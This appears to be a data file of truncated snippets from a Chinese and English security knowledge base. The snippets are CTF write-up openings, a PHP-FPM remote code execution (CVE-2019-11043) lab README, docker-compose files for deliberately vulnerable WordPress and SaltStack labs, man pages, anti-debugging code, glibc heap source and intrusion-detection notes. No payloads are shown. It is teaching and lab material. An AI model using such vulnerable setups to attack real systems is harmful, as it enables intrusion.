# PHP-FPM Remote Command Execution (CVE-2019-11043) [中文版本(Chinese version)](README.zh-cn.md) There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals. > Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China. References: - https://bugs.php.net/bug.php?id...
sec-knowleage
# Stage 1 ## Description > Decipher this to have the key to the next stage. > > `aHR0cHM6Ly9ybmQuZWJheS5jby5pbC9yaWRkbGUvbXpmYmFiZXdjZXlxeGFsdXIv` ## Solution This is an easy warm-up question. We decode the string as base-64 and get: ```console root@kali:/media/sf_CTFs/ebay/1# echo aHR0cHM6Ly9ybmQuZWJheS5jby5pbC9yaWRk...
sec-knowleage
# DCTF Quals 2019 Team: c7, rev, chivay, Eternal, rodbert, des, psrok1, niedzejkob, shalom ### Table of contents * [API (web)](api) * [Predict (misc)](predict)
sec-knowleage
.\" Copyright (c) 1980, 1991 Regents of the University of California. .\" All rights reserved. .\" .\" This code is derived from software contributed to Berkeley by .\" the American National Standards Committee X3, on Information .\" Processing Systems. .\" .\" Redistribution and use in source and binary forms, with or...
sec-knowleage
# Binary Gauntlet 2 Category: Binary Exploitation, 50 points ## Description > How does ASLR affect your exploit? A binary file was attached. ## Solution This is the follow-up for [Binary Gauntlet 1](Binary_Gauntlet_1.md). Let's run `checksec` on the file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_2...
sec-knowleage
version: '2' services: web: image: vulhub/wordpress:4.6 depends_on: - mysql environment: - WORDPRESS_DB_HOST=mysql:3306 - WORDPRESS_DB_USER=root - WORDPRESS_DB_PASSWORD=root - WORDPRESS_DB_NAME=wordpress ports: - "8080:80" mysql: image: mysql:5 environment: - MYSQL_ROOT...
sec-knowleage
'\" t .TH "SYSTEMD\-RESOLVE" "1" "" "systemd 231" "systemd-resolve" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" ht...
sec-knowleage
### Detecting Breakpoints概述 gdb通过替换目标地址的字节为`0xcc`来实现断点, 这里给出一个简单的检测`int 3`断点的示例: ``` c void foo() { printf("Hello\n"); } int main() { if ((*(volatile unsigned *)((unsigned)foo) & 0xff) == 0xcc) { printf("BREAKPOINT\n"); exit(1); } foo(); } ``` 正常运行程序会输出Hello, 但是如果之前有在`foo`函数这里设置`cc`断点并运行...
sec-knowleage
.TH QUOTAON 8 "Fri Mar 09 2001" .UC 4 .SH NAME quotaon \- 开启关闭文件系统配额 .SH "总览 (SYNOPSIS)" .B quotaon [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\|.\|. .br .B quotaon [ .B -e | .B d ] [ .B -avug ] .PP .B quotaoff [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\|.\|. .br .B quotaoff [ .B -e | .B d ] [ .B -avug ] .SH "描述 (...
sec-knowleage
iotop === 用来监视磁盘I/O使用状况的工具 ## 补充说明 **iotop命令** 是一个用来监视磁盘I/O使用状况的top类工具。iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。 iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。 ### 安装 **Ubuntu** ```she...
sec-knowleage
.\" Copyright (c) 1983, 1990, 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the ab...
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) > ---- # CTFS & PentestLab The stronger you want to become, the more exercises you need. # Links 1. https://www.vulnhub.com/ 2. https://www.pentesterlab.com/ 3. http://www.amanhardikar.com/mindmaps/Practice.html 4. http://r-7.co/Met...
sec-knowleage
## Fuzyll (Recon, 200p) ###ENG [PL](#pl-version) In the task we start off on page http://fuzyll.com/files/csaw2016/start to get a riddle: ``` CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next ...
sec-knowleage
# 日志 <p align="center"> <img src="../../../../assets/img/banner/windows日志.png" width="90%"> </p> --- ## 前言 在 windows 系统的运行过程中会不断记录日志信息,根据种类可以分为windows日志(事件日志)、应用程序及服务日志,这些日志信息在取证和溯源中非常重要。 **审核策略** Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。 开始 --> 管理工具 --> 本地安全策略 -...
sec-knowleage
# Ghost in the flash (forensics/stegano, 4 solved, 416p) ``` Alice sent Bob a package with a flash drive. Bob thinks there is a message hidden on it but he couldn't find it. The only clue is the mysterious inscription on the envelope: "Hear the voice of the future and remember: there are shadows because there are hills...
sec-knowleage
version: '2' services: saltstack: image: vulhub/saltstack:3002 ports: - "8000:8000" - "4505:4505" - "4506:4506" - "2222:22"
sec-knowleage
### 释放内存块关于__libc_free 类似于 malloc,free 函数也有一层封装,命名格式与 malloc 基本类似。代码如下 ```c++ void __libc_free(void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ // 判断是否有钩子函数 __free_hook void (*hook)(void *, const void *) = atomic_forced_read(__free_hook); if (__builtin_expect(hook != NULL...
sec-knowleage
mesg === 设置当前终端的写权限 ## 补充说明 **mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 ### 语法 ```shell mesg(参数) ``` ### 参数 y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 ### 实例 ```shell [root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 [root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。 ```
sec-knowleage
suspend === 挂起shell的执行。 ## 概要 ```shell suspend [-f] ``` ## 主要用途 - 挂起shell的执行,直到收到`SIGCONT`信号。 - 除非使用`-f`选项,否则无法对`login shell`使用。 ## 选项 ```shell -f 对login shell执行挂起操作。 ``` ## 返回值 返回成功除非未开启作业控制或发生了错误。 ## 例子 ```shell # 打开一个终端,首先获取PID。 echo $$ # 执行挂起命令 suspend ``` ```shell # 再打开一个终端,发送SIGCONT命令 kill -s SIGCONT PID # 此时之...
sec-knowleage
# T1190-CVE-2020-0688漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和...
sec-knowleage
# Wh3reIsTheD0oR * Category: Forensics * 150 Points * Solved by the JCTF Team ## Description > I know the F1Ag is there, but i can't find the s3cr3t door > > Maybe the PCAP file has a clue on the way to open it... A PCAP file was attached ## Solution Let's check what's happening in the attached PCAP file: ```console ┌...
sec-knowleage
# T1078-003-win-来自公网的登陆失败行为 ## 来自ATT&CK的描述 VPN、Citrix等远程服务及其它访问机制允许用户从外部访问企业内部网络资源。通常有远程服务网关来管理这些服务连接和凭据认证。Windows远程管理等服务也可以在外部使用。 攻击者可能会通过远程服务来访问网络或在网络中停留。通常,用户须使用有效账号才能访问服务。攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据,来获得有效账号权限。在操作期间,对远程服务的访问可用作冗余访问的一部分。 ## 测试案例 windows账户登录失败。 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单,请自行测试。 ## 测试留痕 windows...
sec-knowleage